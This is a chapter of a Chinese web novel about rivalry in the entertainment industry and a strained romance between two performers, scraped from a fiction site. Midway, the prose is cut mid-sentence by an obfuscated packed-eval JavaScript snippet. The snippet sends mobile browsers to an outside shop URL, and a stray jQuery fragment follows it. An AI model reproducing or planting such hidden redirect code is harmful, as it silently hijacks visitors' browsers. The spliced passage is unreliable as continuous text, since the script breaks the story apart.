文趣网 > 其他小说 > 明里搭戏,暗里钓系 > 48. 第 48 章
    傍晚,阴沉沉的天,云层很厚,不知底下压着的雷雨还是暴雪。

    方汀紧张得藏在会议桌下的一双腿止不住发抖,还不得不假装脑子里有很多东西。

    十来年的光景,张旭阳一直瞧不上方汀。

    这圈子里混饭吃,人过于绵软,太容易共情,说好听了是良善,说难听便是无能。他能在公司留存许久,一是人实在没什么坏心思,谁的眼也不碍,二是江临的发展一直不错,七扭八歪的弯道、浑水都顺利淌过,连带着他也跟着享福。再者江临喜欢他,两人一个无能一个缺心眼,倒是总能欢欢喜喜玩到一起。

    不过今天,方汀确实让张旭阳刮目相看。

    他说手上暂时只是一份初步提案,但一路翻阅下来,其实各方面都已经详尽成熟,基本只需要找到资深编导执笔,然后由江临在选题方向和人物调性上做最终确认就可以落地。

    策划团队已有表明,这个方案,因为方汀对各个艺人的清晰定位以及高关注度,其中大量点睛之处都出自他手,可以说是居功至伟。

    整套设计,立意精准,核心稳固,卖点新颖,留白处也给到了足够的输送空间。

    张旭阳抽着烟,视线在方案与方汀间来来回回,后者作完汇报,正踌躇是坐下还是继续站着板报前等待发问,张旭阳目光一扫,给他吓够呛,还是江临察觉到他局促,拉着他在身边坐下。

    挨着的上首位是之前在晚宴上寒暄过几句话的小股东,他瞧着江临便如同瞧见了钱般,喜笑颜开。

    尔后,方汀的紧张在各位股东们以及决策人们的频频点头中,逐渐消弭,张旭阳的目的超预期达成,这让他很满意,第一段会议散会时,甚至不轻不重拍了下方汀的肩膀,“早些年埋没你了,没想到兄弟这么能干,全是我有眼无珠给你培养错了方向,以后还得仰仗兄弟多费心了。”

    “别这么说别这么说,哥你满意就好……”

    方汀的PTSD还是无药可解的程度,江临无奈翻了个白眼。张旭阳眼观六路,很快又十分熟稔地摸着江临的背,送他出会议室,“阿临,哥可指着你呢,嗯?”

    身后一众人还未散,利益当头,极其凝聚。

    江临工作室在这个方案中让出了最大程度的曝光,这让前段时间还被董事会指着鼻子骂的张旭阳重新站在了利益链条的起始端,短期内他的位置将牢不可撼,更有足够的底牌去跟邵总打擂台。

    而另一边,邵总的一个头两个大更甚从前,钟蓓蓓回到公司后跟条甩不掉的警犬似的,四处嗅他动向,都是皮囊体面的人,又不好撕破脸,只能一面和张旭阳那个疯子斗,一面防着别让这娘们儿真翻出点什么东西。前头要打,后头要擦,忙得脚打后脑勺,早前还浑身高位者气势,至今已是烛影斧声,那叫个吃不好睡不好,眼见着人就瘦削无神了不少。

    而在这一片由张旭阳和邵总开战导致的烽火燎原、烟尘四起中,阳明姝按计划进入了紧锣密鼓的舞台排练,随后各大地方台依次公布的晚会节目单。

    #阳明姝独舞#是在节目单公布后的三小时掀起的轩然大波。

    有两名记者也不知是走了谁的关系,装备齐全地进了舞台现场,两人争先恐后采访梁敬先:“请问导演您为什么会起用失德艺人?”

    梁敬先正忙,头都懒得抬,自顾快速翻阅着节目流程单,“谁?”

    “关于晚会上阳明姝独舞的话题大家都十分关注……”问话人说话惯性圆滑,绕圈子往里进。

    “明姝吗?姑娘我看着长大的,她失什么德了?”

    两名记者十分惊讶,互相对视了一眼,刷刷记下两笔,“年初西北片场,阳明姝与蔺贞老师的合作中产生矛盾,不尊重前辈、不打招呼的行为在网络上备受争议……”

    梁敬先再次挥手,不耐烦打断,“你们这些媒体,个个听风就是雨,顶爱搅弄是非。”

    这话说得极重,但梁敬先无所谓,毕竟他地位也极重。

    “上礼拜我和老蔺还喝酒来着呢,人说起明姝,那是这个!”梁敬先竖了个大拇指,吹胡子瞪眼道:“老蔺喜欢她喜欢得不得了,哪里来的矛盾?让你们弄出来的?”

    记者语塞,另一名连忙接话,帮忙叠加buff,“那后续被爆料,她在预科班公开顶撞指导老师,还有表演课上打压同学,确实证明阳明姝作为公众人物,是存在不服从编排,太过自我,以及对同行不尊重、不礼貌的行为的……”

    “舞蹈预科班?”梁敬先顿了顿。

    “是的。”

    大导演忙碌间难得正视了他们一眼,这样好不容易挤进来抢一手消息的两人大为振奋。

    “嗐!”

    梁敬先脚下的步伐没停顿两秒,“舞蹈预科班那老师是她亲妈,你们没跟亲妈呛过声是吧?”

    记者:“……”

    “表演课那就更简单了,我也是个导演,我最喜欢的就是从业者因为表演方式争论起来,这起码证明他们在思考,对艺术有追求,不让讨论,不让不认同,把这称之为打压,是因为你们喜欢看千篇一律的假人?”

    梁敬先说话尖锐,带着老一辈独有的不容置疑的威严感,堵得二人面颊发热。

    其中一个面皮紧些的,换了个角度,仍追着梁敬先的步子不放,“地方台联欢晚会这样极其严肃且宏大的舞台,起用有争议艺人,导演您是出于何种考量呢?”

    梁敬先耐心用尽,一边往后台走一边回头气哼哼甩了一句,“专业能力!舞台表现力!来人来人,这俩怎么进来的给我怎么请出去!忙都忙死了……”

    没几分钟,#阳明姝独舞#后又新增几条新鲜热乎的。

    #春晚最强关系户#

    #看着长大的阳明姝#

    #含着金汤匙,指导老师是亲妈#

    很快已经有大小板块的人员搜寻阳明姝亲妈的线索资料,跃跃欲试。

    邵总夹在中间,频频品尝绝望的滋味,他甚至想,要不换块好啃的骨头算了?还是跟了多年的心腹团队宽慰他,“不打紧的,娱乐圈风向一会儿一变,咱们再看看……”

    目前来看,也只能这样了。

    舆论再次发酵不到一小时,采访方迫于强硬压力将整段视频放出,刚喝过酒的蔺贞老前辈又被波及了一下,甚至有人追问她竖大拇指是真心的吗?

    前辈本来正欢欢喜喜筹备过大年呢,这一闹也心烦,便也懒得再遮掩对媒体的怨怼,“我对所有同行演员的态度一直明朗,请你们不要为了热度擅自替我本人制造舆论。”

    “希望媒体方改变这种不实、不尽的传播方式,严重影响公众人物的职业发展与正常生活,这对被误导的观众也是极其不负责的行为。”

    一时间,舆论哗变。

    有人说关系户就是关系户,难怪性格这么差还有饭吃,也有人说春晚总导演做背书,纯人情应该不至于的吧?

    关于阳明姝“刚愎自用”、“目中无人”的词条后跟着新出现一条“资源咖”。

    好的坏的,黑白不分,晦暗不明的搅和在一起……好处是将这届地方联欢晚会的热度拔得极高。

    梁敬先很满意,拍着阳明姝的脑袋鼓励道:“不怕,好好跳准没事,我站这儿给你兜着呢。”

    阳明姝虽觉得梁敬先闹这一出有些早,有些过,但还是乖巧点头。

    重复排练的日子过得很快,特大暴雪落下来的那天是阳明姝二十五岁生日,排练还在继续,只是从这天起都是所有节目串联在一起,有完整装造和舞台调度的完整试演了。

    徐素瑛夫妇陪着坐在台下,梁敬先和监制各捧着一沓子节目单,几人有一搭没一搭说着话。

    阳明姝站在后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760291|202303||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    台,化妆老师的小刷子来来回回扫,她握着手机有些走神。

    说出“暂时分开,各自做回演员”之前,是江临跟她发过的消息更多些,他总关心她,有时为了让她开怀也讲过不少废话,甚至自主汇报行程,他记挂她,更心疼她,为此连自身处境都可以不管不顾。

    后来说出那句话后,阳明姝真真切切伤了他的心,所有聊天讯息和交叉轨迹被清除后,他们之间除了回忆已经不剩任何痕迹。

    特别是回家之后这段日子,她衍生了不少懊悔。

    当时身陷局中,过于慌乱,好些举措做起来太过追求安全,妈妈跟她说过,她自小过于执拗,擅长用努力和勤奋筑建基石以求达成目的,对感情也一样,她太早就开始仰望江临了,早到她甚至不知道该怎么把“喜欢”从最早的粉丝心态中剥出来,她只能一点点靠近,一点点试探,一点点将自己藏得更稳妥,以为这样努力就能让一切维持在可控范围里。可她不知道,感情从来都不是靠“可控”两个字维系的。

    同样,在自以为是的保护中,将人推远也并不是一件对的事情。

    “你得承认,伤害到了,就是伤害到了。你不能因为自己不是故意的或者出于其他目的,就将对方的难过也一并当成可以忽略的代价。”

    那晚妈妈的话振聋发聩,试图教会她这个笨蛋孩子如何真正长大。

    年节迫在眉睫,剧组的假期已经放完几天,江临也在熙熙攘攘的网络上弄明白了,之前怎么问也问不出来的阳明姝的举措动向,他闲来无事,一条条刷,时而挑眉,时而切出去自己搜索。

    看到精彩反差处时,不自觉冷笑了起来。

    她有镶金带钻的履历,有移山填海的父母故旧,所以,她恣意,总敢一时兴起。

    他居然还替她找了千八百种借口,想她大概是刚入行,年纪又小,难免将许多事件看得过于严重,一慌乱,首尾难顾,本能推开他,归根究底是怕连累到他。

    如今阳明姝的来路和背景整个袒露台前,江临才终于死了心。

    当初他替她想的,该是倒过来才对。是他江临不够优秀,不足以匹配,所以她才会说“不敢冒险。”

    窗外大雪,满目洁白,江临抬眸看着外面那场纷纷扬扬,一愣就是许久。

    那段甜蜜到粘稠的时间过得太快,在又一场雪落下时,一切又已经重归宁静。

    看样子今年这个年有些难过,满屋子杯盏器皿看着都心烦,酒柜里的酒还满满当当、依次排列着,看着更烦。

    烦着烦着,一晃眼,一天就过了大半。

    阳明姝的电话打来时,他又愣神了好大一会儿。

    江临忍着没开口,那头细细小小叫了两声哥哥,他拧着眉不愿意应。

    这边捂着话筒,扭扭捏捏,欲语还休。

    她心思复杂,一面想诚心道歉,一面又忧心在这个并不算安全的时间节点,如若真哄得江临回头,那先前闹那一出就纯胡闹,纯伤人了。

    在过去漫长的年岁里她踩过他无数脚印,她早习惯了他一尘不染,甚至已经不知不觉成了一种顽疾。

    阳明姝左思右量,半天挤出一句:“你……最近都好吗?”

    “还行。”

    江临的声音薄薄的,没半点情绪,“有事?”

    “没有,我就是……”

    阳明姝那边有纷杂的人声、器械声,想来是在繁忙后台,她将话筒捂得很紧,沉吟间能听见压抑呼吸。

    她一如往昔,走钢丝般,瞻前顾后。

    “生日快乐,阳明姝。”

    最后还是江临替她收的尾,“愿你得偿所愿。”

    阳明姝的心漏了一拍,那是一种转瞬就要掉下钢索的悬空感。江临似乎走了很远,没再听她说话的兴趣,也不再关心她任何,“就这样吧,我还有事。”